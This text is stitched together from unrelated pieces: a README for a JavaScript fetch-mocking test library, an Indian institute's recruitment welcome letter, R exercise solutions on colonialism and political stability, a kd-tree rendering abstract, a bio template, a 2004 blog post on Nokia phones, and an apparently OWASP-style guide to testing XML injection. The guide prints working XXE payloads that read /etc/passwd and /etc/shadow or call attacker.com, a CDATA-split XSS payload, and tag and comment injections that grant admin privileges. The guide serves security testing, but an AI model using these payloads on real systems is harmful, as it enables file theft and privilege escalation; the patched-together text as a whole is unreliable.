.verbose(true) // Enable console login for each request/response/error
.when
.pathname.equal('/login')
.method.equal('POST')
.body('json').equal(body => body.username === 'foo')
.respond.with
.preset(401)
.when
.pathname.equal('/session')
.method.equal('POST')
.body('json').equal(token => body.authToken === '123')
.respond.with
.preset('json')
.body({success: true, sessionToken: '456'})
.fallback.to
.preset(403)
describe('Login test suite', function() {
before(() => server.start())
after(() => server.stop())
it('should login', async function() {
await triggerTheLoginLogic('foo');
await sendTheTokenLogic('123');
logged.should.be.true;
})
it('should fail login on username', async function() {
await triggerTheLoginLogic('bar');
logged.should.be.false;
})
it('should fail login on token', async function() {
await triggerTheLoginLogic('foo');
await sendTheTokenLogic('hacked!');
logged.should.be.false;
})
})
We're not only sending back data to the app but also checking outgoing requests at the same time because the answer will only be sent if calling the right url with the right method and the right data. with
and to
are only optional sugars to improve human readability.
Last not least, you can easily deploy url-based routing to use your "real" data inside each tests instead of providing fake data and get rid of on-the-fly fixtures (see dynamic fixtures examples).
When to use FMF ?
At any time :smile:
Nevertheless, FMF will truly give its best with any testing framework (Mocha, Jasmine, Junit...) that allows to automate operations between each tests like start
, stop
or reset
the server.
Installation
Installation can easily be done through NPM or Yarn. Sinon is required by FMF to stub fetch
but is not included in the bundle. It must be installed as well if not already present.
npm install sinon fetch-mock-fixtures --save-dev
yarn add sinon fetch-mock-fixtures --dev
FMF should be installed as a dev dependency. It is not meant to be used as an in-app offline mode feature.
Note : FMF is built upon Promise, Proxy and fetch API (Request, Headers, Response) that are available in all modern browsers. If you intend to run tests on older browsers (IE) or versions, you may need to polyfill them. Here's some available tools you can use :
- Promise: ES6-Promise
- Fetch API : window.fetch polyfill
- Proxy: proxy-polyfill
Full documentation and API reference
Please pay visit to the docs pages.
Bugs and improvements
Any bugs and issues can be filed on the github repository.
You are free and very welcome to fork the project and submit any PR to fix or improve FMF.
I'm especially interested for good will who wish to improve query matcher processors to provide more tools to evaluate query and choose the right response.
Changelog
- 2.2.0 : Add global preset configuration within server instance and throw behavior for fixture
- 2.1.0 : Add history logging and verbose mode
- 2.0.0 : BREAKING CHANGE - A brand new FMF highly not compatible with previous version
- 1.0.1 : Add requests history and possibility to set up different responses based on requests order. Add delay as a response parameter into fixture.


{% extends 'tpo/base.html' %} {% load static %} {% block content %}
Greetings from Indore Institute of Science and Technology !
Knowledge and continuous learning are the mainstays amongst the leading organizations today. In view of this requirement and the visions and ideals of its illustrious founder , grooms its students with a perfect blend of academics, core competencies, ethics and values so that they evolve and succeed in every sphere of their life in our radical and complex society.
It gives me immense pleasure to welcome organizations to campus recruitment program at our institute. It is my earnest belief that the training of academically wholesome life at IIST had prepared our students to face any challenges and take on responsible positions in the corporate world.
I am sure that students selected by your organization shall excel and achieve beyond your expectations and they will prove to be an asset to your organization. I wish all the best to the campus recruitment program and all students in their endeavors. I hope that recruiting organizations will be able to derive immense benefit through this program and would go a long way to build a long lasting and fruitful mutual relationship.
We look forward to your visit to our campus soon.
Dr Joy Banerjee
Director, IIST


4.2 Solutions
<IP_ADDRESS> Exercise 2
Turn former colonies into a factor variable and choose appropriate labels.
First, we load the dataset and then factorise the former colonies variable.
# load data
world.data <- read.csv("QoG2012.csv")
# turn variable into a factor
world.data$former_col <- factor(world.data$former_col, labels = c("not colonised", "was colonised"), levels = c(0,1))
<IP_ADDRESS> Exercise 3
How many countries were former colonies? How many were not?
We can get the numbers from a frequency table.
table(world.data$former_col)
not colonised was colonised
72 122
122 countries were victims of colonialization.
<IP_ADDRESS> Exercise 4
Find the means of political stability in countries that (1) were former colonies, (2) were not former colonies.
We use the mean function to get the mean of political stability and subset for the groups of countries using the square brackets.
# mean of political stability in countries that were not colonised
mean(world.data$wbgi_pse[world.data$former_col=="not colonised"])
[1] 0.2858409
# mean of political stability in countries that were colonised
mean(world.data$wbgi_pse[world.data$former_col=="was colonised"])
[1] -0.231612
The average level of political stability in countries that were not colonised is 0.2858409. Mean political stability in countries that were colonised is -0.231612. The variable political stability wbgi_pse
is an index. Larger values correspond with more political stability. We see that political stability is higher in countries that were not colonised.
Looking at this difference, we might conclude that the legacy of colonialism is still visible today and manifests itself in lower political stability. Let’s investigate further to see whether the difference in means is statistically significant.
<IP_ADDRESS> Exercise 5
Is the the difference in means statistically significant?
Let’s first compute the difference in means. We call it fd
here. We could name it anything but fd
is shorthand for first difference. Differences between two means are sometimes referred to as first differences.
fd <- mean(world.data$wbgi_pse[world.data$former_col=="not colonised"]) - mean(world.data$wbgi_pse[world.data$former_col=="was colonised"])
fd
[1] 0.5174529
The numerical difference is 0.5174529. Is this difference small or large? That is difficult to say because the variable is not measured in intuitive units (income in dollars is an example of a variable that is measured in intuitive units).
Let’s look at the variable a little closer to understand this difference in substantive terms.
# the range
range(world.data$wbgi_pse)
[1] -2.467461 1.675609
# the distance from the minimum to the maximum value
diff(range(world.data$wbgi_pse))
[1] 4.14307
# the difference in means as percentage change over the range of the variable
fd / diff(range(world.data$wbgi_pse))
[1] 0.124896
Doing the above was not necessary to answer the question but it is helpful to understand the variable in substantive terms. The difference in means is 0.5174529. That constitutes 0.124896 (12%) of the range of the variable. So the difference in political stability between countries that were colonies and those that were not is large.
We now test whether the difference is statistically significant using the t-test.
# t test for difference in means
t.test(world.data$wbgi_pse[world.data$former_col == "not colonised"],
world.data$wbgi_pse[world.data$former_col == "was colonised"],
mu = 0, alt = "two.sided")
Welch Two Sample t-test
data: world.data$wbgi_pse[world.data$former_col == "not colonised"] and world.data$wbgi_pse[world.data$former_col == "was colonised"]
t = 3.4674, df = 139.35, p-value = 0.0006992
alternative hypothesis: true difference in means is not equal to 0
95 percent confidence interval:
0.2224004 0.8125053
sample estimates:
mean of x mean of y
0.2858409 -0.2316120
As we can see, the difference is not only large it is also a noticeable systematic difference. The p value is small. Smaller than the conventional alpha level of 0.05. We can also look at the confidence interval which ranges from 0.2224004 to 0.8125053. So, if we were to repeatedly sample, the confidence interval of each sample would include the true population mean \(95\%\) of the time. Or more intuitively, we are \(95\%\) confident that the average population level of political stability is within our interval.
<IP_ADDRESS> Exercise 6
In layman’s terms, are countries which were former colonies more or less stable than those that were not?
The results from the t-test show that countries that were colonies are less stable than those that were not. The difference is large and systematic.
<IP_ADDRESS> Exercise 7
How about if we choose an alpha level of 0.01?
The p-value is 0.0006992. That is smaller than an alpha level of 0.01 as well. Therefore, picking an alpha level of 0.01 does not change our results.
<IP_ADDRESS> Exercise 8
What is the level of measurement of the United Nations Development index variable undp_hdi
?
We googled united nations human development index and found that the variable is a composite index of three key dimensions: a long and healthy life, being knowledgeable and having a decent standard of living. The description goes on to tell us how the dimensions are measured and that the index is the geometric average of the components. The variable is, therefore, continuous.
<IP_ADDRESS> Exercise 9
Check the claim that its true population mean is 0.85.
Let’s estimate the mean from our sample
summary(world.data$undp_hdi)
Min. 1st Qu. Median Mean 3rd Qu. Max. NA's
0.2730 0.5390 0.7510 0.6982 0.8335 0.9560 19
Our estimate is 0.69824. The claim is that it is 0.85.
Null hypothesis: The true population mean of the human development index is: 0.85. Alternative hypothesis: The true population mean is different from 0.85.
We pick an alpha level of 0.05 for our test.
t.test(world.data$undp_hdi, mu = 0.85, alt = "two.sided")
One Sample t-test
data: world.data$undp_hdi
t = -11.139, df = 174, p-value < 0.00000000000000022
alternative hypothesis: true mean is not equal to 0.85
95 percent confidence interval:
0.6713502 0.7251298
sample estimates:
mean of x
0.69824
The p-value is lower than 0.05 and hence we reject the null hypothesis (hdi is 0.85). Looking at our confidence interval, we expect that if we were to repeatedly sample, the population mean would fall into the interval 0.6713502 to 0.7251298 \(95\%\) of the time.
<IP_ADDRESS> Exercise 10
Calculate the t statistic.
We could take the t statistic from the t test above. But we are going through the individual steps here.
From the summary()
function above, we know that there are 19 missings on the variable which we drop. We create a copy of our data in the original state and then drop the missing rows from world.data.
# copy of world data
world.data.full <- world.data
# drop missings on undp_hdi
world.data <- world.data[ !is.na(world.data$undp_hdi), ]
Step 1: We get the number of observations.
n <- length(world.data$undp_hdi)
n
[1] 175
Step 2: We calculate the standard variation of the random variable undp_hdi
.
# sample standard deviation of undp_hdi
sd_hdi <- sd(world.data$undp_hdi)
Step 3: We calculate the standard error of the mean which is:
\[ SE({\bar{Y}}) = \frac{ s_{Y}} { \sqrt{n}} \]
# standard error of the mean of undp_hdi
se.y_bar <- sd_hdi / sqrt(n)
Step 4: We compute the t-statistic as the difference between our estimated mean and the mean under null and then divide by the standard error of the estimated mean.
\[ t = \frac{ \bar{Y} - \mu_{0}} { SE({\bar{Y}}) } \]
Note: By dividing by the standard error of the estimated mean, we are making the difference of the means (our estimated mean - the mean under the null), free of the units that the variables were measured in. The t-value is the difference of the means, were its units are standard deviations.
The t-value follows a t-distribution with n-1 (174) degrees of freedom. It is well approximated by a standard normal distribution.
hdi_mean <- mean(world.data$undp_hdi)
t.statistic <- ( hdi_mean - 0.85 ) / se.y_bar
t.statistic
[1] -11.13908
The t.statistic is -11.13908. Given that this t statistic follows a standard normal distribution approximately (because the sample is large), we would reject the null hypothesis if the t-value is more than 1.96 standard deviations away from 0. This t-value is 11 standard deviations away from zero. The t-value is very far in the tails of the distribution. It is very unlikely that we would have estimated the mean that we did estimate (0.69824) if the population average of HDI really was 0.85.
We can reject the null hypothesis.
<IP_ADDRESS> Exercise 11
Calculate the p value.
We have the t statistic already. We will follow the steps to get the p value. But first, take a look at what the distribution of our t statistic looks like. Our t statistic is -11.13908. This is very very far in the left tail.
Step 1: We compute the cumulative probability to get our t-value or something smaller from this distribution.
cum.prob.at.least.t <- pt(t.statistic, df = (n-1) )
cum.prob.at.least.t
[1] 0.0000000000000000000002127538
Notice that our t value is negative. By calculating the probability to get a t-value as large or smaller, we alredy have the proability that we see a t value like this in the left tail. We are conducting a two-sided test. Therefore, we want the proability in the right tail as well, i.e., to see a t value that is 11.139 or larger. So in the next step we take the probability we got times 2.
cum.prob.at.least.t * 2
[1] 0.0000000000000000000004255075
The p value is extremely small. In fact, it is so small that the t-test did not report the correct p value either but simply stated that the p value is smaller than 2.2e-16.
Notice also that in the seminar we calucated (1 - pt(t.statistic, df = n-1))*2
. This was because our t value was positive in the seminar. Here it is negative. Here in this task, we could have calculated (1 - pt(abs(t.statistic), df = n-1))*2
where abs(t.statistic)
returns the absolute value of the t statistic and hence turns it into a positive number.
If you do that, R will round and return the p value as 0. We are not holier than the pope and would have accepted any of these answers (0, <2.2e-16, 4.255075e-22).
<IP_ADDRESS> Exercise 12
Construct a confidence interval around your mean estimate.
There are two ways to do this which yield slighly different answers.
Approach 1: Our sample is large. The t statistic follows approximately a standard normal distribution. We can, therefore, use the critical value from the standard normal distribution. \(95\%\) of the area under the standard normal distribution is within \(1.96\) standard deviations from the mean.
# lower bound
lb <- hdi_mean - 1.96 * se.y_bar
# upper bound
ub <- hdi_mean + 1.96 * se.y_bar
# results
lb
[1] 0.6715367
ub
[1] 0.7249432
# best guess of the population mean
hdi_mean
[1] 0.69824
Our best guess of the population mean is 0.69824. We are \(95\%\) confident that our interval from 0.6715367 to 0.7249432 includes the population mean.
Approach 2: We get the critical value from a t distribution with n-1 (174) degrees of freedom. To find the critical value, we use the t distribution’s quantile function qt(cumulative.probability, degrees of freedom)
.
t.critical <- qt(0.975, df = 174)
t.critical
[1] 1.973691
So, in our t distribution \(95\%\) are within precisely 1.973691 standard deviations from the mean.
Notice, that the confidence interval covers 95% of the area under the curve and is centered on the mean. There are \(2.5\%\) in each tail. qt()
gives us the critical value at the cumulative probability of whatever we enter into the function. We input .975, so we get the critical value at the point where the right tail starts.
# lower bound
lb2 <- hdi_mean - t.critical * se.y_bar
# upper bound
ub2 <- hdi_mean + t.critical * se.y_bar
# results
lb2
[1] 0.6713502
ub2
[1] 0.7251298
Using this more exact approach, we show that the \(95\%\) confidence interval covers values of the human development index from 0.6713502 to 0.7251298.
<IP_ADDRESS> Exercise 13
Discuss your findings in terms of the original claim. Interpret the t value, the p value, and the confidence interval.
We can reject the original claim that the mean of HDI is 0.85. Given, an alpha level of 0.05, our large t-value (-11.13908 - the absolute value is large) implies that our estimate (0.69824) is extremely unlikely assuming that 0.85 is the population mean. From exercise 11, we know the p-value which is the probability that we have mistakenly rejected a correct null hypothesis. That probability is
\[ 4.255075e^{-22} = 4.255075 * 10^{-22} = \frac{4.255075}{10^{22}} = 0.0000000000000000000004255075\].
Our best guess of the population mean is \(0.7 \pm 0.03\) (rounded to two digits).
4.2.1 Optional Exercises that require reading Extra Info below
<IP_ADDRESS> Optional Exercise 1
Create a scatter plot with latitute on the x-axis and political stability on the y-axis.
The relationship between two continuous variables is best illustrated with a scatterplot.
plot(
y = world.data$wbgi_pse,
x = world.data$lp_lat_abst,
pch = 16,
bty = "n",
xlim = c(0, 0.9),
main = "Relation between pol. stability and distance from the equator",
xlab = "Distance from equator in decimal degrees (0 to .9)",
ylab = "political stability index"
)
<IP_ADDRESS> Optional Exercise 2
What is the correlation coefficient of political stability and latitude?
cor(world.data$wbgi_pse, world.data$lp_lat_abst, use = "complete.obs")
[1] 0.4238086
the correlation coefficient ranges from -1 to 1 and is a measure of linear association of two continuous variables. The variables are positively related. That means, as we move away from the equator, we tend to observe higher levels of political stability.
<IP_ADDRESS> Optional Exercise 3
If we move away from the equator, how does political stability change?
Political stability tends to increase as we move away from the equator.
<IP_ADDRESS> Optional Exercise 4
Does it matter whether we go north or south from the equator?
It does not matter whether we go north or south. Our latitude is measured in decimal degrees. Thus, a value of 0.9 could correspond to either the North Pole or the South Pole.
4.2.2 Advanced Exercises
These exercises were hard and go beyond what we expect from you at this point. Good job, if you were able to solve them!
<IP_ADDRESS> Advanced Exercise 1
Calculate the numerical difference in means (political stability conditional on colonialization) using the means()
function.
Notice: Earlier we dropped missing values on undp_hdi. We thereby dropped values that were not missing on wbgi_pse from the dataset. That was valuable information. Not reloading the dataset would be a mistake.
# use full dataset
world.data <- world.data.full
table(world.data$former_col) # check the labels of the former colonies variable
not colonised was colonised
72 122
# mean political stability of not colonised group
mean.not.col <- mean(world.data$wbgi_pse[world.data$former_col=="not colonised"])
mean.not.col
[1] 0.2858409
# mean political stability of colonised group
mean.was.col <- mean(world.data$wbgi_pse[world.data$former_col=="was colonised"])
mean.was.col
[1] -0.231612
# difference in means
fd <- mean.not.col - mean.was.col
fd
[1] 0.5174529
The difference in means is 0.5174529. Countries that were not colonised are more politically stable.
<IP_ADDRESS> Advanced Exercise 2
Calculate the standard deviation of the difference in means (hint: using just the sd()
function is incorrect in this context).
The standard error of the difference between two means is:
\[ \sqrt{\frac{\sigma^2_{Y_A}}{n_A} + \frac{\sigma^2_{Y_B}}{n_B}} \]
Where \(A\) and \(B\) are the two groups.
# variance of political stability in the two groups
var_not_col <- var(world.data$wbgi_pse[world.data$former_col=="not colonised"])
var_was_col <- var(world.data$wbgi_pse[world.data$former_col=="was colonised"])
# number of observations in each group
n_not_col <- length(world.data$wbgi_pse[world.data$former_col=="not colonised"])
n_was_col <- length(world.data$wbgi_pse[world.data$former_col=="was colonised"])
# standard error of the difference in means
fd.se <- sqrt( (var_not_col/n_not_col) + (var_was_col/n_was_col) )
fd.se
[1] 0.1492324
The standard error of the difference in means is 0.1492324.
<IP_ADDRESS> Advanced Exercise 3
Is the difference in means more than \(1.96\) standard deviations away from zero? Interpret the result.
fd - 2*fd.se
[1] 0.2189881
The difference in means is further than two standard deviations away from zero. Given an alpha level of 0.05, we can reject the null hypothesis that political stability is the same in countries that were colonised and those that were not.
<IP_ADDRESS> Advanced Exercise 4
We claim, the difference in means in terms of political stability between countries that were former colonies and those that were not is 0.3. Check this hypothesis.
We use the t-test for the difference in means to test this claim. Normally, our null would be that the difference in means is zero, i.e. there is no difference. Here, the claim is that the difference is 0.3. So, all we have to do is adjust the null hypothesis accordingly.
t.test(world.data$wbgi_pse[world.data$former_col == "not colonised"],
world.data$wbgi_pse[world.data$former_col == "was colonised"],
mu = 0.3, alt = "two.sided")
Welch Two Sample t-test
data: world.data$wbgi_pse[world.data$former_col == "not colonised"] and world.data$wbgi_pse[world.data$former_col == "was colonised"]
t = 1.4571, df = 139.35, p-value = 0.1473
alternative hypothesis: true difference in means is not equal to 0.3
95 percent confidence interval:
0.2224004 0.8125053
sample estimates:
mean of x mean of y
0.2858409 -0.2316120
We cannot reject the claim that the true difference in means is 0.3.
<IP_ADDRESS> Advanced Exercise 5
First, we drop missings from wdi_gdpc.
world.data <- world.data[ !is.na(world.data$wdi_gdpc), ]
An angry citizen who wants to defund the Department of International Development (DFID) claims that countries that were former colonies have reached \(75\%\) of the level of wealth of countries that were not colonised. Check this claim.
The null hypothesis is that there is no difference between the level of wealth in countries that were former colonies and 0.75 times the level of wealth in countries that were not former colonies
# the claim of the citizen
claim <- mean(world.data$wdi_gdpc[world.data$former_col=="not colonised"]) * 0.75
claim
[1] 12311.54
# estimated level of wealth in countries that were colonised
estimate <- mean(world.data$wdi_gdpc[world.data$former_col=="was colonised"])
estimate
[1] 6599.714
Our estimate is roughly half the angry citizen’s claim. The substantial difference is huge. To cover all our bases, let’s perform the t-test for the difference in means.
How would we do this though? This one is tricky because the citizen’s claim is not actually in our data. At the same time we don’t know the true level of wealth in countries that were not colonised, we only have an estimate. We have to manipulate our data to get there.
First, we create a copy of the wealth variable with a new name.
world.data$angry_gdp <- world.data$wdi_gdpc
Now, we adjust the level of wealth in the group of countries that were not colonised down to the citizen’s claim. The citizen’s claim is that we should then not find a difference in means between the two groups (“was colonised” and “not colonised”) anymore.
world.data$angry_gdp[world.data$former_col=="not colonised"] <- world.data$angry_gdp[world.data$former_col=="not colonised"] * 0.75
mean(world.data$angry_gdp[world.data$former_col=="not colonised"])
[1] 12311.54
We can see that the level of mean wealth of our manipulated variable for countries that were not colonised now corresponds to the citizen’s claim. We can now check the difference in means.
t.test(world.data$angry_gdp[world.data$former_col=="not colonised"],
world.data$angry_gdp[world.data$former_col=="was colonised"],
mu = 0, alt = "two.sided")
Welch Two Sample t-test
data: world.data$angry_gdp[world.data$former_col == "not colonised"] and world.data$angry_gdp[world.data$former_col == "was colonised"]
t = 3.6218, df = 127.72, p-value = 0.0004206
alternative hypothesis: true difference in means is not equal to 0
95 percent confidence interval:
2591.29 8832.37
sample estimates:
mean of x mean of y
12311.544 6599.714
Clearly, we can reject the citizen’s claim. Our p value implies that the probability that we see this huge difference in our data, given that there really is no difference, is \(0.04\%\). Our conventional alpha level is \(5\%\).


Eurographics Symposium on Rendering - Experimental Ideas & Implementations, June 2015
Acceleration data structures such as kd-trees aim at reducing the per-ray cost which is crucial for rendering performance. The de-facto standard for constructing kd-trees, the Surface Area Heuristic (SAH), does not take ray termination into account and instead assumes rays never hit a geometric primitive. The Ray Termination Surface Area Heuristic (RTSAH) is a cost metric originally used for determining the traversal order of the voxels for occlusion rays that takes ray termination into account. We adapt this RTSAH to building kd-trees that aim at reducing the per-ray cost of rays. Our build procedure has the same overall computational complexity and considers the same finite set of splitting planes as the SAH. By taking ray termination into account, we favor cutting off child voxels which are not or hardly visible to each other. This results in fundamentally different and more qualitative kd-trees compared to the SAH.


Summary
XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.
This section describes practical examples of XML Injection. First, an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).
How to Test
Let's suppose there is a web application using an XML style communication in order to perform user registration. This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<EMAIL_ADDRESS></user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
</users>
When a user registers himself by filling an HTML form, the application receives the user's data in a standard request, which, for the sake of simplicity, will be supposed to be sent as a GET request.
For example, the following values:
Username: tony
Password: Un6R34kb!e
E-mail<EMAIL_ADDRESS>will produce the request:
<EMAIL_ADDRESS>The application, then, builds the following node:
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<EMAIL_ADDRESS></user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
</users>
Discovery
The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.
XML metacharacters are:
- Single quote: ' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:
<node attrib='$inputValue'/>
So, if:
inputValue = foo'
is instantiated and then is inserted as the attrib value:
<node attrib='foo''/>
then, the resulting XML document is not well formed.
- Double quote: " - this character has the same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.
<node attrib="$inputValue"/>
So if:
$inputValue = foo"
the substitution gives:
<node attrib="foo""/>
and the resulting XML document is invalid.
- Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:
Username = foo<
the application will build a new node:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
but, because of the presence of the open '<', the resulting XML document is invalid.
- Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:
Username = foo<!--
the application will build a node like the following:
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
which won't be a valid XML sequence.
- Ampersand: & - The ampersand is used in the XML syntax to represent entities. The format of an entity is '&symbol;'. An entity is mapped to a character in the Unicode character set.
For example:
<tagnode><</tagnode>
is well formed and valid, and represents the '<' ASCII character.
If '&' is not encoded itself with &, it could be used to test XML injection.
In fact, if an input like the following is provided:
Username = &foo
a new node will be created:
<user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
but, again, the document is not valid: &foo is not terminated with ';' and the &foo; entity is undefined.
- CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.
For example, if there is the need to represent the string '<foo>' inside a text node, a CDATA section may be used:
<node>
<![CDATA[<foo>]]>
</node>
so that '<foo>' won't be parsed as markup and will be considered as character data.
If a node is built in the following way:
<username><![CDATA[<$userName]]></username>
the tester could try to inject the end CDATA string ']]>' in order to try to invalidate the XML document.
userName = ]]>
this will become:
<username><![CDATA[]]>]]></username>
which is not a valid XML fragment.
Another test is related to CDATA tag.
Suppose that the XML document is processed to generate an HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.
Let's consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.
<html>
$HTMLCode
</html>
Then, an attacker can provide the following input:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
and obtain the following node:
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:
<script>alert('XSS')</script>
The result is that the application is vulnerable to XSS.
External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.
To test for XXE vulnerabilities, one can use the following input:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.
Other useful tests are the following:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Tag Injection
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.
Let's considering the previous application. By inserting the following values:
Username: tony
Password: Un6R34kb!e
E-mail: s4tan<EMAIL_ADDRESS>the application will build a new node and append it to the XML database:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<EMAIL_ADDRESS></user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan<EMAIL_ADDRESS></user>
</users>
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.
Let's suppose that the XML document is specified by the following DTD:
<!DOCTYPE users [
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence:
Username: tony
Password: Un6R34kb!e</password><!--
E-mail<EMAIL_ADDRESS>In this case, the final XML database is:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<EMAIL_ADDRESS></user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><!--</password>
<userid>500</userid>
<EMAIL_ADDRESS></user>
</users>
The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules.
Source Code Review
The following Java API may be vulnerable to XXE if they are not configured properly.
- javax.xml.parsers.DocumentBuilder
- javax.xml.parsers.DocumentBuildFactory
- org.xml.sax.EntityResolver
- org.dom4j.*
- javax.xml.parsers.SAXParser
- javax.xml.parsers.SAXParserFactory
- TransformerFactory
- SAXReader
- DocumentHelper
- SAXBuilder
- SAXParserFactory
- XMLReaderFactory
- XMLInputFactory
- SchemaFactory
- DocumentBuilderFactoryImpl
- SAXTransformerFactory
- DocumentBuilderFactoryImpl
- XMLReader
- Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
Check source code if the docType, external DTD, and external parameter entities are set as forbidden uses.
In addition, the Java POI office reader may be vulnerable to XXE if the version is under 3.10.1.
The version of POI library can be identified from the file name of the JAR. For example,
- poi-3.8.jar
- poi-ooxml-3.8.jar
The followings source code keyword may apply to C.
- libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory, xmlCtxtReadDoc ,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
- libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader
References
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[Name] is a [title] who works with [who you help] to [how you help them]. [First name] [knows/believes] [what you know/believe about the work you do]. [First name] has [landed/secured/garnered/worked at/supported] [insert your most compelling experiences and wins]. [First name] is a [trained/certified/awarded] [insert relevant trainings, awards, honors, etc]. [First name] holds a [insert degree] in [insert area of study] from [insert university].


--- layout: post title: Nokia handsets and UIs date: 2004-06-17 00:00:00 ---
From "Nokia: Innovate on the Inside" at Russell Beattie:
"Are there any S60 handsets that are S40 sized?
I moved to a 6230 recently, but had been on a 6100 for a few months before that - and really liked the form factor. It didn't fill my pocket or feel bulky like my old 7650/3650, it felt like a *phone*.
6230 does everything I want and more (J2ME/BT/radio/WAP/etc), screen size is adequate (more would be nicer but it's not a killer), it's *responsive*, and stats I see for WAP traffic to some services we run indicates that S40 handsets generate 2x the traffic of S60...
I don't get S40-bashing - it's certainly not as featureful and I can see how some users might really need to have 3rd party native apps on their phone... but for most people out there, S40 handsets are more obviously phones (and thus less intimidating) whilst retaining a load of new mBoom goodness :)"
and
"I see what you mean, but I think that Series 40 appeals to lots of people precisely because it's more familiar and phone-like, and less feature-ful. Most of my friends from outside the mobile/new media industries have Nokias; they've all gone for 7210s and the like. For most of them it's their first camera-phone - having a camera is itself a novelty and quite exciting (whilst for us it's old hat).
